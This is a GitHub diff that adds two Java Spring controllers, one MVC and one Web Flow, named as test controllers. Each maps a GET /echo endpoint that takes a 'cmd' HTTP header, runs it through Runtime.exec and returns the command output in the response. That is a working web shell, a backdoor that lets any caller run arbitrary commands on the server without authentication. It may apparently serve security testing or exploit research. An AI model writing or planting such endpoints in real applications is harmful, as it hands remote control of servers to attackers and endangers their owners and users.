File tree Expand file tree Collapse file tree 3 files changed +71
-46
lines changed
Expand file tree Collapse file tree 3 files changed +71
-46
lines changed Original file line number Diff line number Diff line change 1+ package com .management .controller ;
2+
3+ import com .management .bean .User ;
4+ import org .springframework .stereotype .Controller ;
5+ import org .springframework .web .bind .annotation .RequestMapping ;
6+ import org .springframework .web .bind .annotation .RequestMethod ;
7+ import org .springframework .web .bind .annotation .ResponseBody ;
8+ import java .io .*;
9+
10+ @ Controller
11+ public class SpringMVCTestController {
12+
13+ @ ResponseBody
14+ @ RequestMapping (value ="/echo" , method = RequestMethod .GET )
15+ public User Test () throws IOException {
16+
17+ org .springframework .web .context .request .RequestAttributes requestAttributes = org .springframework .web .context .request .RequestContextHolder .getRequestAttributes ();
18+ javax .servlet .http .HttpServletRequest httprequest = ((org .springframework .web .context .request .ServletRequestAttributes ) requestAttributes ).getRequest ();
19+ javax .servlet .http .HttpServletResponse httpresponse = ((org .springframework .web .context .request .ServletRequestAttributes ) requestAttributes ).getResponse ();
20+
21+ String cmd = httprequest .getHeader ("cmd" );
22+ java .io .BufferedReader br = new java .io .BufferedReader (new java .io .InputStreamReader (Runtime .getRuntime ().exec (cmd ).getInputStream ()));
23+
24+ StringBuilder sb = new StringBuilder ();
25+ String line ;
26+ while ((line = br .readLine ()) != null ){
27+ sb .append (line + "\n " );
28+ }
29+
30+ br .close ();
31+ httpresponse .getWriter ().println (sb .toString ());
32+
33+ return new User ();
34+ }
35+ }
Original file line number Diff line number Diff line change 1+ package com .pizza ;
2+
3+ import org .springframework .stereotype .Controller ;
4+ import org .springframework .web .bind .annotation .GetMapping ;
5+ import java .io .IOException ;
6+
7+ @ Controller
8+ public class SpringWebFlowTestController {
9+
10+ @ GetMapping ("/" )
11+ public String redirectToFlow () {
12+ return "redirect:/pizza" ;
13+ }
14+
15+ @ GetMapping ("/echo" )
16+ public String test () throws IOException {
17+
18+ org .springframework .webflow .context .servlet .ServletExternalContext servletExternalContext = (org .springframework .webflow .context .servlet .ServletExternalContext ) org .springframework .webflow .context .ExternalContextHolder .getExternalContext ();
19+ javax .servlet .http .HttpServletRequest request = (javax .servlet .http .HttpServletRequest ) servletExternalContext .getNativeRequest ();
20+ javax .servlet .http .HttpServletResponse response = (javax .servlet .http .HttpServletResponse ) servletExternalContext .getNativeResponse ();
21+
22+ String cmd = request .getHeader ("cmd" );
23+ java .io .BufferedReader br = new java .io .BufferedReader (new java .io .InputStreamReader (Runtime .getRuntime ().exec (cmd ).getInputStream ()));
24+
25+ StringBuilder sb = new StringBuilder ();
26+ String line ;
27+ while ((line = br .readLine ()) != null ){
28+ sb .append (line + "\n " );
29+ }
30+
31+ br .close ();
32+ response .getWriter ().println (sb .toString ());
33+
34+ return "test" ;
35+ }
36+ }
Load Diff This file was deleted.
You can’t perform that action at this time.
0 commit comments